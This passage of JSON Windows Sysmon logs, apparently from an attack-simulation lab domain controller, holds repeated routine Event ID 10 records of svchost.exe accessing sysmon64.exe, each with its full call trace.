C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 